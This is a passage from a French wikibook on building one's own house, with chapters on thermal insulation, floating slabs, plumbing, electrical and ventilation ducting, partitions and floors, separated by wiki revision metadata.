commandés par&nbsp;: * tringle oscillante&nbsp;: efficace, bruyante, peu discrète, * sangle&nbsp;: manœuvre rapide, ne permet pas l’ouverture de grands volets lourds, * moteur électrique incorporé dans le tambour&nbsp;: possibilité d’automatisation, cher, facile à manœuvrer, impossibilité de manœuvre en cas de panne de courant. == Protection provisoire des murs non enduits == La réalisation des enduits s’effectue souvent plusieurs mois après la fin du second œuvre. D’ici là il est nécessaire de recouvrir les murs mouillés par la pluie à l’aide d’un film en polyane, polyéthylène ou papier goudronné solidement fixé avec des lattes chevillées ou clouées (à l’aide de clous à bétons). Sommaire général : [[Construire sa maison]] Construire sa maison - L'isolation thermique 7264 42069 2006-05-12T11:46:39Z 82.243.225.96 /* Différentes solutions */ Sommaire général : [[Construire sa maison]] La lutte contre le gaspillage d’énergie passe par l’isolation thermique des bâtiments chauffés, elle fait l’objet d’une réglementation précise datant de plus d’une trentaine d’années. L’isolation des nouveaux logements est obligatoire mais c’est aussi un moyen efficace de réduire les dépenses de chauffage et de climatisation (elle fonctionne aussi en été&nbsp;!) tout en améliorant le confort. On peut considérer une maison comme un récipient percé de différentes sortes de trous&nbsp;: * portes et fenêtres, * ventilation, * combles plafonds, * murs extérieurs. On a intérêt à colmater simultanément et de façon équilibrée chaque sorte de trou. Toutefois une sur-isolation peut ne pas s’avérer rentable, tant par le coût des matériaux supplémentaires que par la place occupée par l’isolation. == Isolation des murs == Malgré son épaisseur rassurante, un mur de pierre de 70&nbsp;cm d’épaisseur est équivalent à 1 centimètre de laine de verre sur le plan de l’isolation thermique, la conductivité thermique de la pierre étant beaucoup plus élevée que celle de l’air emprisonné entre les fibres de verre. Un mur non isolé est froid et favorisera la condensation de la vapeur d’eau, donc le développement de moisissures. === Différentes solutions === Il existe plusieurs moyens pour réaliser l’isolation thermique d’un mur&nbsp;: * isolation intérieure et cloison de doublage (solution la plus répandue, réduction de l’espace intérieur, ponts thermiques à traiter), * isolation extérieure et bardage (épaisseur d’isolant en général plus faible, solution souvent plus coûteuse), * mur réalisé en matériaux isolants (béton cellulaire, brique isolante...). On choisira cette dernière solution si les dépenses de chauffage sont modérées (résidence secondaire, zone tempérée...) car l’isolation obtenue est faible. Une isolation extérieure est intéressante car elle n’empiète pas sur le domaine habitable. Son épaisseur, donc son efficacité, ne peut guère dépasser 10&nbsp;cm mais elle supprime facilement les ponts thermiques. On l’utilise principalement en rénovation. C’est l’isolation intérieure, c’est-à-dire placée contre la face intérieure du mur, qui est la plus commune.. === Le pare-vapeur === La face intérieure de l’isolation doit être munie d’un pare-vapeur, film étanche à l’air qui fonctionne dans les deux sens&nbsp;: * interdire à l’air chaud et chargé de vapeur d’eau de pénétrer dans l’isolant et d’y provoquer de la condensation, * empêcher le vent de s’infiltrer au travers de l’isolation. Les canalisations électriques et autres gaines qui traversent l’isolation ne doivent pas favoriser le passage des courants d’air, il faut les immobiliser fermement et les entourer de laine de verre ou de mousse de polyuréthane (dans le cas d’une isolation en polystyrène expansé). === La résistance thermique === La résistance thermique d’une paroi dépend de son épaisseur et de la conductivité thermique du matériau utilisé. Dans le cas d’un mur composé de plusieurs matériaux différents, il faudra additionner les résistances thermiques de chacun des composants. Dans la pratique c’est la couche d’isolant (laine de verre, polystyrène...) qui représente la plus grande partie de la résistance thermique. === Matériaux isolants === Les principaux matériaux isolants utilisés pour l’isolation des murs et sous-pentes sont, par ordre croissant de conductivité thermique&nbsp;: * la mousse de polyuréthane - excellent isolant, cher, moins stable dans le temps que ses concurrents, * la laine de verre - bon marché, stable, irritante pour la peau lors de la pose, existe en panneaux et en rouleaux, * la laine de roche - semblable à la laine de verre mais moins désagréable à poser, * le polystyrène expansé - léger, rigide, fragile, facile à découper, doit être protégé des rongeurs, ne nécessite pas de pare-vapeur. Existe en plaques non compressibles pour l’isolation des dalles flottantes, * la fibre de bois - moins bon isolant que les précédents mais meilleur marché et plus écologique, utilisée en vrac et bourrée entre deux cloisons. On trouve maintenant des produits (qui sont loin d’être nouveaux) présentés comme ayant des résistances thermiques très supérieurs aux isolants listés ci-dessus pour des épaisseurs de quelques centimètres (voire millimètres !). Leur efficacité n’est absolument pas prouvée. La résistance thermique d’un isolant est assurée par l’air enfermé dans les bulles ou entre les fibres du matériau (verre, polystyrène...). Préférer l’isolant en panneau dont la tenue mécanique est meilleure, éviter les matériaux bon marché. === La pose de l’isolant === Les matériaux isolants à base de fibre de verre ou fibre de roche sont désagréables à poser. Utiliser des gants, un masque à poussière, des lunettes de sécurité et une combinaison de travail au col et aux poignets serrés. Essayer de ventiler le local. L’isolation des sous-pentes peut se faire à l’aide de laine en rouleau munis d’un pare-vapeur que l’on agrafe sur les chevrons. Cette solution n’est possible que si l’écartement des chevrons correspond exactement à la largeur des rouleaux. En pratique l’épaisseur d’isolant ne dépassera guère 8&nbsp;cm, ce qui est insuffisant dans la plupart des régions. Il est certainement plus pratique d’utiliser des panneaux découpés à l’écartement des chevrons ou de placer l’isolant en sous-face. Vérifier que les recoins sont comblés d’isolant, si nécessaire bourrer de la laine de verre ou de roche dans les moindres trous. Condamner tous les orifices où des rongeurs pourraient pénétrer. On peut utiliser de la mousse de polyuréthane pour reboucher les trous ou remplir des alvéoles. === L’isolation extérieure === Si la résistance thermique requise pour les murs extérieurs est modeste (cas des régions océaniques et méridionales à basse altitude) l’isolation extérieure peut se révéler une bonne solution. Ses avantages sont&nbsp;: * l’emprise de l’isolation sur le volume extérieur et non sur le volume habitable (bien qu’il faudra augmenter un peu le débord de toit), * une plus large ouverture des fenêtres et portes, * le traitement des ponts thermiques réalisé au moins sur les murs de refend et les dalles situées au dessus du rez-de-chaussée, * une plus grande inertie thermique de l’habitation qui atténuera l’amplitude des variations de température dues aux rayons de soleil, aux apports gratuits (four, plaques de cuisson...), aux irrégularités de la puissance de chauffe... Ses inconvénients&nbsp;: * le bardage extérieur moins résistant qu’un enduit sur parpaings, * le coût plus élevé à résistance thermique égale, * une plus grande inertie limitant l’intérêt d’un chauffage intermittent par zone de vie (chauffage électrique programmé...), * une technologie moins abordable pour l’autoconstructeur (matériaux et accessoires moins disponibles dans le commerce de détail). == Ponts thermiques == Les ponts thermiques, sortes de courts-circuits dans l’isolation, doivent être réduits au maximum. Pour ce faire on peut agir dés la conception en préférant un plancher sur solives ,une ferme intérieure plutôt qu’un mur de refend ou tout simplement une isolation extérieure. Lors de la réalisation on pourra appliquer différentes solutions&nbsp;: * détacher les murs de refends pour pouvoir insérer la couche d’isolation entre l’extrémité du refend et le mur extérieur. * isoler le tour de dalle à l’aide d’une brique creuse * doubler les murs de refend avec une couche d’isolant de quelques centimètres * poser un faux plafond isolé ou isoler les planchers en sous-face * réaliser des dalles flottantes Le développement de moisissures sur les parois trahit la présence de condensation, donc d’une zone froide provoquée par un pont thermique. Comme il est difficile de traiter un pont thermique à postériori, on peut essayer de tapisser les murs concernés à l’aide d’une couche mince d’isolant (quelques millimètres) recouverte d’un papier peint ou d’un revêtement mural (tissus...). == Isolation sous les toits == Comme l’air chaud monte, la température est plus élevée au plafond et il est de coutume de mettre une couche d’isolant plus épaisse dans les combles que sur les murs. Sous le toit les entrées d’air doivent être plus spécialement traitées car il n’y a pas l’étanchéité des murs. La couche d’isolant doit être protégée contre les intrusions de la fouine, en fermant à l’aide d’un grillage solidement fixé l’espace entre les chevrons au niveau de la sablière. Plusieurs solutions sont possibles pour l’isolation sous le toit, en fonction de la résistance thermique souhaitée, de l’espace disponible&nbsp;: * peu d’espace et isolation faible — film réfléchissant fixé sous les chevrons, coûteux et de faible efficacité en pratique, * peu d’espace et isolation moyenne — rouleaux de laine de verre agrafés entre les chevrons, de mise en œuvre délicate car l’espacement entre chevrons est rarement régulier, * espace disponible et isolation forte&nbsp;: double épaisseur de panneaux de laine de roche ou de verre fixés à l’intérieur d’une structure en caissons, entre les pannes. La structure supporte aussi les plaques de plâtre, des panneaux d’aggloméré, de la frise de pin... L’isolation est mise en place après la pose des conduits de fumée et des fenêtres de toit. Prévoir le passage des gaines de ventilation, des câbles de télévision, des gaines électriques... == Isolation des portes et fenêtres == Les ouvertures vitrées sont les points faibles de l’isolation globale de la construction. Limiter la surface de ces ouvertures est la première solution pour réduire les déperditions, éviter les ouverture au nord et côté du vent. Ensuite on pourra appliquer les règles suivantes&nbsp;: * utiliser le double-vitrage, * choisir des huisseries épaisses en bois ou PVC de bonne qualité, * éviter les huisseries en aluminium ou choisir les profilés avec rupture du pont thermique, * vérifier l’étanchéité des joints, y compris en bas de portes, * installer des volets étanches, si possible au droit de la façade pour limiter les effets du vent. Les volets roulants en PVC à double parois et caisson extérieur (dans l’épaisseur du mur) sont une des bonnes solutions, * installer des doubles-rideaux épais devant portes et fenêtres, * supprimer les ponts thermiques au niveau des seuils et appuis de fenêtres. La pose de doubles-fenêtres est une excellente solution contre&nbsp;: * le bruit, * les entrées d’air (caissons de volets roulants, huisserie anciennes déformées, difficulté de poser des joints). Par contre la manœuvre et l’entretien des doubles-fenêtres est malaisée, leur esthétique discutable et leur coût élevé. La pose de survitrages est généralement une solution bon marché et peu efficace mais qui peut rendre service en rénovation. Pour réduire le rayonnement infrarouge pénétrant par les vitrages sud en été, il est possible de coller un film réfléchissant. Cette solution est assez efficace mais onéreuse. En plein jour, elle protège également des regards indiscrets (cas des rez-de-chaussée). == Isolation des planchers == Par plancher on entend le sol sur lequel on circule&nbsp;: dalle en béton, ou plancher sur solives. Le plafond d’un niveau correspond évidemment au plancher de l’étage supérieur. L’isolation thermique des planchers est importante pour le confort (en gardant les pieds au chaud) et pour l’économie d’énergie dans le cas d’une dalle chauffante. L’isolation des planchers combat deux causes de déperditions thermiques&nbsp;: * pertes vers l’étage inférieur non chauffé (sous-sol, vide sanitaire, terre-plein...), * pertes par ponts thermiques (voir cette section). Du fait que l’air chaud a tendance à s’accumuler au plafond et que la différence de température entre sous-sol et volume habitable est moins importante en hiver qu’entre extérieur et volume habitable, l’épaisseur de l’isolation nécessaire est plus faible (de l’ordre de 6&nbsp;cm en plancher par rapport à 10 à 20&nbsp;cm dans les combles). Pour isoler un plancher on peut&nbsp;: * soit isoler la sous-face de celui-ci en fixant des panneaux isolants au plafond du niveau inférieur ou en utilisant une dalle avec hourdis isolants, * soit réaliser une chape isolante (béton avec granulats isolants), une dalle flottante sur polystyrène expansé à haute densité (cas de la dalle chauffante), un plancher sur lambourdes séparées par de la laine de verre... Construire sa maison - La dalle flottante 7265 41662 2006-05-05T18:32:27Z 83.157.128.25 /* Dalle chauffante */ Sommaire général : [[Construire sa maison]] Une dalle flottante est une large plaque de béton servant de plancher et qui repose sur une couche d’isolation thermique. Il est possible de faire passer dans l’épaisseur de l’isolation des gaines de passage des fils électriques ou de tuyaux de distribution d’eau. Cette solution évite le passage des canalisations électriques au plafond du niveau inférieur. == Dalle chau Le plancher parcouru directement par un liquide réchauffé dans des capteurs solaire est appelé ''Plancher Solaire Direct''. == Réalisation de la dalle flottante == Elle ne peut être réalisée qu’après la mise en place des cloisons et des canalisations au sol. C’est un travail important qui demande du soin et un coup de main au moment du coulage. La dalle flottante a une épaisseur minimum de 6&nbsp;cm et elle est rigidifiée par un treillis métallique (100x100x3) noyé dans le béton. Comme l’isolation minimum est de 2&nbsp;cm, la hauteur disponible ne doit pas être inférieure à 8&nbsp;cm. Les niveaux sont à vérifier avec les escaliers, portes et fenêtres déjà en place en tenant compte du niveau du sol fini et de l’épaisseur du revêtement de sol. Les gaines devant circuler au sol sont déroulées et plaquées au sol grâce à des colliers en Rilsan. La première couche d’isolation (2 ou 3&nbsp;cm) est découpée pour remplir les vides entre les tuyaux. Une deuxième couche d’isolant (polystyrène expansé spécial pour dalle) recouvre la première couche ainsi que les canalisations. Sur l’isolation est déroulé un film plastique qui empêchera le béton de couler entre les plaques d’isolant. La surface de la dalle doit être parfaitement horizontale. Pour cela le béton (sable 0-5 et ciment) devra être fluidifié en ajoutant un produit spécial dans l’eau du gâchage. Le volume de béton est assez important puisqu’en moyenne on coule 1&nbsp;mètre-cube pour une pièce de 10&nbsp;m². Si la dalle flottante est également chauffante, le serpentin est déroulé puis fixé sur le treillis métallique avec des liens ou des clips en plastique. Lors du coulage, le circuit de chauffage est normalement mis en pression à l’aide d’une pompe spéciale. La dalle est coulée par pièce ou par cellule si celle-ci est trop grande. Le tour de dalle est isolé à l’aide de polystyrène ordinaire d’une épaisseur de 5 à 10mm qui absorbera les mouvements de la dalle dus à la dilatation. Le treillis métallique doit être soulevé et maintenu à mi-hauteur de l’épaisseur de la dalle. La dalle est tirée à l’aide d’une règle en aluminium glissant sur deux rails (tube carré ou rond en acier) reposant horizontalement sur des plots. Vérifier constamment la position des rails. Talocher le béton pour éliminer les rayures causées par la règle. Si la surface doit être parfaite (pose de moquette...), il sera sans doute nécessaire de couler une chape liquide (si l’épaisseur le permet) ou un ragréage, plus fin. Sommaire général : [[Construire sa maison]] Construire sa maison - Gaines et canalisations 7266 34688 2006-02-25T10:41:42Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] Le nombre, la section et le trajet des gaines et des canalisations diverses soit être déterminer le plus tôt possible dans l'étude du projet . En effet certaines évacuations se font par gravité et les tuyaux correspondants doivent avoir une certaine pente et une longueur maximum. D'un point vue pratique, il n'est guère possible de faire passer certaines canalisations dans la partie habitable pour des questions d'esthétique, de place ou de bruit. == Gaine technique == La gaine technique est une sorte de réduit de faible dimension permettant le passage de canalisations variées (en respectant les normes de proximité)&nbsp;: * chauffage, * gaines de ventilation mécanique, * gaines électriques, * câbles d’antenne, * écoulement des eaux usées, * tuyauteries d’eau sanitaire, * tuyau de l’aspiration centralisée. Elle est située généralement au centre de la maison pour faciliter la distribution et relie le sous-sol aux combles. Fermée comme un placard, elle doit permettre un accès pour une visite facile. Si nécessaire on peut prévoir plusieurs gaines techniques&nbsp;: le sec (ventilation, électricité...) et l’humide (eau, évacuation...). Penser à l’accès, à la ventilation, bloquer l’introduction des rongeurs. == Évacuation des eaux sanitaires == On peut distinguer trois sortes d’eaux usées produites par une habitation&nbsp;: * eaux grasses des éviers, chargées principalement de débris alimentaires, * eaux issues des lavabos, salle de bains, lave-linge, * eaux vannes provenant des toilettes. Dans le cas d’un raccordement à l’égout la totalité des eaux usées sont évacuées de la même façon. Il peut en être autrement dans le cas d’une maison non raccordée à un réseau d’assainissement. Avant l’apparition des fosses toutes-eaux qui recueillent, comme les égouts, les trois sortes d’eaux usées, il était d’usage de traiter séparément&nbsp;: * les eaux vannes pour les envoyer dans une fosse septique, * les eaux sales issues de la toilette ou de la cuisine qui étaient épurées dans un bac décanteur/dégraisseur puis dans un filtre à pouzzolane. Les deux circuits étaient ensuite réunis pour être purifiés dans un filtre sur sable. L’eau filtrée, loin d’être potable, peut toutefois être rejetée sans danger dans un ruisseau ou un fossé. La fosse toutes-eaux a remplacé la fosse septique et reçoit l’ensemble des eaux usées (mais pas les eaux de pluie...). == Canalisations électriques == Les canalisations électriques d’une maison peuvent atteindre plusieurs centaines de mètres de longueur, on a alors intérêt d’organiser la distribution de l’électricité par secteurs ou étages en regroupant les gaines d’un secteur en un faisceau convergeant vers un sous-tableau. Chaque sous-tableau est alimenté par un circuit partant d’un tableau principal lui-même relié au disjoncteur EDF. Le raccordement au compteur s’effectue généralement à l’aide d’un câble enterré dans une gaine spéciale de gros diamètre. Le diamètre d’une gaine et les rayons de ses courbes doit permettre le passage des fils et câbles en toute circonstance. Les gaines annelées sont très pratiques car on peut les cintrer fortement mais il peut être difficile d’y faire passer des fils par la suite. On les réservera pour de courtes longueurs. Il éviter à tout prix d’encastrer une gaine électrique avec les conducteurs déjà passés car il n’est pas sûr de pouvoir extraire les fils en cas de problème. Une gaine encastrée doit être recouverte au minimum d’un centimètre d’enduit (plâtre...). Dans un sous-sol ou une pièce de service on peut installer des canalisations apparentes en tubes rigides fixés par des brides-supports régulièrement espacées. Pour faire passer les fils dans une gaine cintrable encastrée on se sert d’un ''furet'' ou ''tire-fil'' pour tirer le faisceau de conducteurs maintenus bien groupés par un aide qui les enduira de talc afin de faciliter le glissement. Ne pas hésiter à laisser dépasser à chaque extrémité de la canalisation quelques décimètres de fils&nbsp;: mieux trop que trop court. Les gaines peuvent être fixée à l’aide de colliers ou de brides fixées sur des chevilles adaptées au support. Suivant l’endroit et les dimensions de la gaine il faudra une cheville tous les 20 à 80&nbsp;cm. Dans une dalle flottante, les gaines sont fixées en premier avec des colliers en Rilsan puis l’isolant est découpé pour épouser le tracé des gaines qui sont ''noyées'' dans la couche isolante. Les faux plafonds facilitent le passage des gaines qui seront simplement fixés sur la structure. Eviter de laisser reposer les gaines directement sur les dalles du plafond. La traversée de l’isolant mural par les gaines est une cause d’entrée d’air par temps de grand vent, il suffit de rétablir l’étanchéité au niveau du pare-vapeur à l’aire de ruban adhésif. Si la place le permet, on aura intérêt à poser des gaines supplémentaires pour prévoir des modifications futures de l’installation électrique. Dans le même ordre d’idée, il est préférable d’utiliser des gaines d’un diamètres trop grand que trop juste, lisses plutôt que annelées. == Distribution de l’eau == La distribution de l’eau sanitaire s’effectue selon une arborescence qui démarre du compteur avec un tuyau de diamètre important (par ex. 22mm) et se partage ensuite en branches alimentant les principaux secteurs comme la cuisine, la salle de bain, le cabinet de toilette, la buanderie, le jardin... mais aussi le ou les chauffe-eau, sans oublier, le cas échéant, la mise en pression du chauffage central, le lave-main du garage, la douche du sous-sol, le remplissage de l’aquarium ou de la piscine, le robinet de lavage des voitures... Chaque embranchement, petit ou grand, doit pourvoir être isolé et vidangé à l’aide d’une vanne d’arrêt avec purge. Chaque élément «&nbsp;horizontal&nbsp;» doit en réalité être en pente suffisante. Chaque point bas doit pouvoir être purgé. Pour l’eau froide, le diamètre des tubes doit être le plus grand possible, en fonction de la place disponible mais aussi du coût des tubes et de la robinetterie. Partout où cela est possible on utilisera des courbes à souder de grand rayon (ou réalisées à la cintreuse) plutôt que des coudes à 90 degrés. On limitera ainsi les pertes de charge et les bruits d’écoulement. Si deux endroits de puisage sont utilisés simultanément, le débit de l’un sera diminué à cause de l’autre. Cet inconvénient est réduit par l’utilisation de tube de plus gros diamètre. Certains réseau d’adduction d’eau fournissent de l’eau avec une pression très importante. On aura intérêt à réduire cette pression à l’aide d’un régulateur pour ralentir l’usure de la robinetterie. Conserver quand même un robinet en amont de ce régulateur pour disposer d’eau à grand débit ou haute pression. == Canalisations d’eau (réalisation) == C’est la tuyauterie en cuivre qui a la faveur des autoconstructeurs. Bien que plus coûteux que l’acier pour la réalisation du chauffage central, il est plus facile à mettre en œuvre avec un outillage courant. Il est conseillé de braser au chalumeau plutôt qu’à l’étain. Pourtant, à basse pression la ''soudure à l’étain'' est parfaitement possible à condition d’étamer soigneusement les parties males et femelles. La filasse et la pâte-à-joint est plus facile à mettre en œuvre que le ruban téflon pour l’étanchéité des raccords vissés. On évitera les raccords noyés dans les cloisons ou les planchers. Utiliser du tube de cuivre recuit passé dans une gaine en plastique. Pour le raccordement de la robinetterie et des appareils fixes (chauffe-eau etc.) et les endroits où des changements complexes de direction sont obligatoires, il existe des tuyaux flexibles très pratiques. Les traversées de murs, circuits extérieurs ou placés à proximité d’une porte extérieure doivent être isolés thermiquement. Les circuits extérieurs seront munis de purges en point bas. Comme pour la distribution d’électricité on aura intérêt à prévoir les utilisations futures. Une extension est facile à réaliser s’il suffit de se raccorder sur une vanne d’arrêt. == Canalisation de gaz == L’installation d’une canalisation de gaz est possible pour un amateur averti. Cependant, si une fuite d’eau ne pose guère de problème de sécurité, il n’en n’est pas de même pour le gaz. S’il y a le moindre doute, faire intervenir un professionnel qui garantira le travail effectué. Voici quelques pistes pour réaliser une petite installation&nbsp;: bouteille de butane pour alimenter une plaque de cuisson, par exemple. * placer la bouteille dans un endroit ventilé, hors de portée des enfants, * la tuyauterie en cuivre recuit ne devra pas comporter de raccord situé dans un placard, une gaine technique, etc. (utiliser un tuyau de tube de cuivre recuit d’un seul morceau), * insérer une vanne d’arrêt à chaque extrémité de la canalisation, * utiliser des raccords spéciaux montés dans les règles de l’art, * changer les tuyaux souples en caoutchouc avant la date de péremption. == Ventilation mécanique == La ventilation mécanique contrôlée assure le renouvellement de l'air dans les habitations. Contrairement à la ventilation naturelle qui dépend des entrées d'air parasites par les fenêtres, portes... elle permet de régler le débit d'air en extayant ou insufflant l'air aux bons endroits. ===extraction=== L'air est extrait dans les pièces où il y a une source de pollution, risque de fuite de gaz, production de vapeur ou de mauvaises odeurs. * cuisine : extraction générale de la pièce en complément de la hotte aspirante. La VMC doit être mise en service lorsque la hotte fonctionne pour éviter une inversion de tirage dans la VMC * salle de bain, toilettes, buanderie : il est judicieux ce provoquer la mise en marche de la VMC lorsque la lumière est allumée dans ces pièces ===insufflation=== L'insufflation seule est peu efficace car elle provoque le mouvement de l'air pollué dans toute l'habitation. On lui préfère la VMC double-flux. ===VMC double flux=== Des points d'extraction sont installés comme évoqué ci-dessus et des points d'insufflation sont placés dans les chambres, sallon, couloir... de façon à provoquer une circulation de l'air dans la totalité du logement. Le groupe moto-ventilateur comporte deux ventilateurs sur le même axe. Le ventilateur provoquant l'insufflation est plus puissant que l'extraction de façon à maintenir l'habitation en légère surpression. Pour améliorer le bilan thermique, on utilise un échangeur statique de calories qui réchauffe l'air neuf (du moins lorsque la température extérieure est inférieure à celle du logement) à l'aide des calories prélevées sur l'air vicié. ===réalisation=== Le groupe de Ventilation mécanique contrôlée (VMC) est généralement placé dans les combles, au centre de la double étoile constituée par l'ensemble des gaines d'extraction d'une part et par celui des gaines d'insufflation d'autre part. Bien que le groupe ne soit pas très bruyant, on aura intérêt à l'éloigner des chambres à coucher et à le poser sur un matériau ne transmettant pas les vibrations. Lors du refroidissement de l'air pollué et souvent humide dans l'échangeur à double-flux, il se produit de la condensation qui doit pouvoir être évacuée. Les échangeurs comportent à leur point le plus bas une sortie sur laquelle un tuyau doit être raccordé qui évacuera les condensats vers le réseau des eaux usées. Utiliser un siphon pour éviter la remontée des mauvaises odeurs. La dimension des gaines est un compromis : trop étroites, la perte de charge sera plus importante et le bruit de circulation de l'air risque d'être audible ; trop grosses, elles seront plus difficiles à faire passer dans les faux-plafonds et les gaines techniques. Pour les principales gaines d'extraction, on peut utiliser du tube rigide en Chlorure de polyvinyle (PVC) de diamètre 100 ou 125mm et tous les accessoires (coudes, tés...) utilisés pour les évacutions d'eaux usées. Les principaux avantages sont liés à la rigidité et à la solidité du tube qui permet de le faire passer en apparent dans une pièce (buanderie, sous-sol...) et sa résistance aux rongeurs éventuels. On peut raccorder à la VMC une hotte aspirante située aux dessus d'une plaque de cuisson, cela évite d'installer un groupe d'extraction particulier mais le débit d'aspiration sera sans doute insuffisant. De toutes façons il est nécessaire de placer un clapet anti-feu à l'entrée de la bouche d'aspiration. Les bouches d'insufflation de l'air frais sont en général placées à quelques dizaines de centimètres du sol tandis que celles d'extraction sont situées le plus haut possible. Sachant que l'air insufflé est généralement frais, on veillera à diriger le courant d'air en une zone de la pièce où personne n'a l'habitude de se tenir (lit, fauteuil...). Sinon on pourra utiliser une bouche orientable ou disposer un paravent sur le trajet de l'air froid. == Téléphone, télévision, réseau == Il est prudent de prévoir dés le début de la construction la pose de gaines pouvant recevoir des câbles aussi variés que les conducteurs du téléphone, du système d’alarme, d’un interphone...). Les tubes de PVC prévus pour les évacuations conviennent parfaitement en choisissant un tube de diamètre intérieur permettant le passage du câble et de ses connecteurs. On peut les placer dans les gaines techniques, dans l’isolation, dans une l’épaisseur d’une cloison... === Téléphone === Deux éléments de vocabulaire dont il faut tenir compte&nbsp;: la prise de téléphone s’appelle conjoncteur et la boîte de dérivation, boîtier douze plots. Le boîtier douze plots est installé à l’arrivée de la ligne extérieure. De là commence l’installation pour alimenter la première prise. Pour les prises supplémentaires on part du boîtier douze plots ou d’une autre prise en se branchant toujours en parallèle sur les vis 1 et 3. Il est conseillé de ne brancher que deux fils au lieu des huit préconisés par France Télécom, sans quoi des problèmes d’induction ou de sonnerie continue peuvent arriver. Installer une prise dans chaque pièce de la maison est judicieux, car il est prévu dans un avenir proche que par le téléphone passera la télévision. Il faut toujours installer un câble en cuivre rigide et à la section adaptée. === Télévision === Prévoir le passage des câbles coaxiaux des antennes. Il vaut mieux là encore passer une gaine inutile que d'avoir à percer une dalle et camoufler laborieusement par la suite un câble imprévu. === Réseau informatique === Le système Wifi facilite les liaisons entre ordinateurs mais il peut être préférable de relier entre eux certains ordinateurs par câbles. Ces derniers peuvent être passés dans les gaines prévues pour la télévision ou le téléphone. Sommaire général : [[Construire sa maison]] Construire sa maison - Les cloisons 7268 34692 2006-02-25T10:52:11Z F5ZV 1177 création du chapitre Sommaire général : [[Construire sa maison]] Une fois que la maison est hors d'eau et que l'isolation des murs est en place peut commencer la pose des cloisons de doublage (des murs "froids") et des cloisons de distribution qui vont partitionner le vomume habitable en pièce, couloirs et séparations. == Doublage des murs extérieurs == Lorsqu’une couche d’isolant thermique (laine de verre...) a été plaquée contre les murs extérieurs, une cloison de doublage doit être dressée pour protéger et cacher cette isolation. La pose de cette cloison suit celle de l’isolant et précède la réalisation des dalles flottantes. La cloison de doublage peut être réalisée comme les cloisons de distribution&nbsp;: * brique creuse ou parpaing recouverts de plâtre, * béton cellulaire, * carreau de plâtre, * plaque de plâtre à peindre fixés sur structure métallique, * plaque de bois aggloméré fixé sur structure bois. Les trois dernières solutions sont plus faciles à mettre en œuvre par l’autoconstructeur. Le carreau de plâtre est un matériau qui permet de monter facilement des cloisons parfaites et très solide. On peut aussi associer carreaux de plâtre et plaques à peindre (pour les tableaux de fenêtre, par exemple). Les gaines électriques sont passées dans ou derrière le doublage et renforcées localement si nécessaire. == Cloisons de distribution == Pour séparer les différentes pièces d’un étage, on construit des cloisons dont le rôle est multiple&nbsp;: * séparer les différentes fonctions du logement (chambre, cuisine, toilettes...), * isoler phoniquement, * protéger l’intimité, * éviter les courants d’air froid (entrée...) ou pollués (toilettes, cuisine...), * empêcher la lumière de passer (chambres...). Quelques contraintes sont à prendre en compte&nbsp;: * solidité et possibilité d’accrochage d’objets ou de meubles lourds, * épaisseur, rigidité, masse par mètre, * masse et capacité à isoler du bruit, * isolation. == Différents types de cloison == Plusieurs solutions s’offrent à l’autoconstructeur qui choisira surtout en fonction de ses compétences. * carreau de plâtre — massif, régulier, belle finition, peut supporter des charges importantes, assez facile à poser, * plaque de plâtre à peindre (dites ''Placo'' en hommage à une marque connue) — légère, permet des découpes compliquées, supporte plus difficilement des charges lourdes, à enduire sérieusement, assez facile à poser sur structure métallique, * panneau de bois aggloméré rainurés — à fixer sur une structure en bois. Finition assez grossière, joints difficiles à masquer (risque de fissures dans le revêtement), robuste et peu fragile, possibilité de visser directement dans la plaque, supporte des charges importantes, convient plutôt dans un local technique, assez facile à poser, * frise de pin sur structure bois — léger, décoratif, ne peut supporter que des charges légères (à moins de s’accrocher dans la structure), assez facile à poser, * brique creuse plâtrée — technologie traditionnelle, belle finition si le plâtre est bien fait, peut supporter des charges importantes à condition de prendre certaines précautions (scellements, chevilles spéciales...), nécessite un savoir-faire de professionnel, * béton cellulaire — léger, isolant, à enduire soigneusement, supporte difficilement des charges importantes, assez délicat à bien poser. * parpaing ordinaire de 10&nbsp;cm d’épaisseur — massif, à enduire ou à plâtrer (traditionnel ou plaques de plâtre), supporte des charges importantes, résistant au feu, assez facile à poser, * brique pleine traditionnelle — cloisons lourdes, supporte des charges massives, belle finition originale si la brique, la pose et les joints sont parfaits, long et difficile à poser. == Isolation phonique == Empêcher le bruit généré dans une pièce d’être gênant dans une pièce adjacente (sur le même niveau ou sur un autre étage) peut se faire de différentes manières&nbsp;: * réduire le niveau de bruit en tapissant les murs de la pièce avec des matériaux absorbants (tentures, moquette au sol...), * construire des cloisons lourdes (loi de masse) ou isolantes, * rompre les liaisons entre cloisons pour éviter la transmission des vibrations * utiliser des double-portes et double-fenêtres. Le carreau de plâtre est un bon produit, lourd, donc bon isolant phonique et permettant de réaliser une belle surface finie. Inconvénient&nbsp;: sa masse qui en limite l’utilisation sur les plancher sur solives. Une solution plus légère est la double cloison garnie d’isolant absorbant (laine de verre). Les éventuelles portes de communication peuvent également être doublées. Une cloison posée directement sur une dalle en béton transmet les vibrations (donc le son). Une semelle résiliente constitue une coupure pour la transmission des sons. D’autre part, il faut isoler mécaniquement les différentes structures. Ainsi, un plancher flottant monté sur semelle isolante ne touchera pas les murs, sous peine de transmettre à la structure les bruits d’impact. De même, les plinthes posées, le seront en ménageant un jour avec le sol. == Portes intérieures == En général il s’agit de blocs-portes composés d’un ouvrant (''huisserie'') articulé dans un chambranle (''bâti'') qui sera fixé sur le mur ou la cloison. L’ouvrant peut être de plusieurs sortes&nbsp;: * porte isoplane formée de deux feuilles de contre-plaqué séparées par une sorte de grille de lames de carton collées en nid d’abeille, * huisserie de style, en bois noble d’origine locale (chêne) ou exotique, * porte vitrée partiellement ou entièrement en verre, * porte coulissante ou en accordéon, L’ouvrant peut être simple ou en deux parties dans le cas d’une porte large. Le sens d’ouverture doit être déterminé dès l’étude en fonction de l’utilisation de la porte. Sommaire général : [[Construire sa maison]] Construire sa maison - Réalisation des sols 7269 43838 2006-06-04T09:59:44Z Vev 199 /* Différents types de revêtements de sol */ Sommaire général : [[Construire sa maison]] La finition des sols est une opération qui termine une pièce. En général on s'arrange pour faire les peintures et autres finitions salissantes avant de poser le revêtement définitif. Mais la pose de certains équipements doit se faire lorsque les carrelages sont posés (cuisine intégrée, placards...). Une bonne planification du travail est nécessaire. == Rôles du sol == On désigne souvent sous le terme de ''plancher'' la structure horizontale qui, dans un local, supporte à la fois les meubles et les occupants. Si le local est partagé en plusieurs pièces, le plancher aura à supporter en outre les ''cloisons de distribution''. Les charges particulières susceptibles d’exercer localement une pression de plus de 100kg/m² doivent être prises en compte dans le calcul et la réalisation du plancher (aquarium, 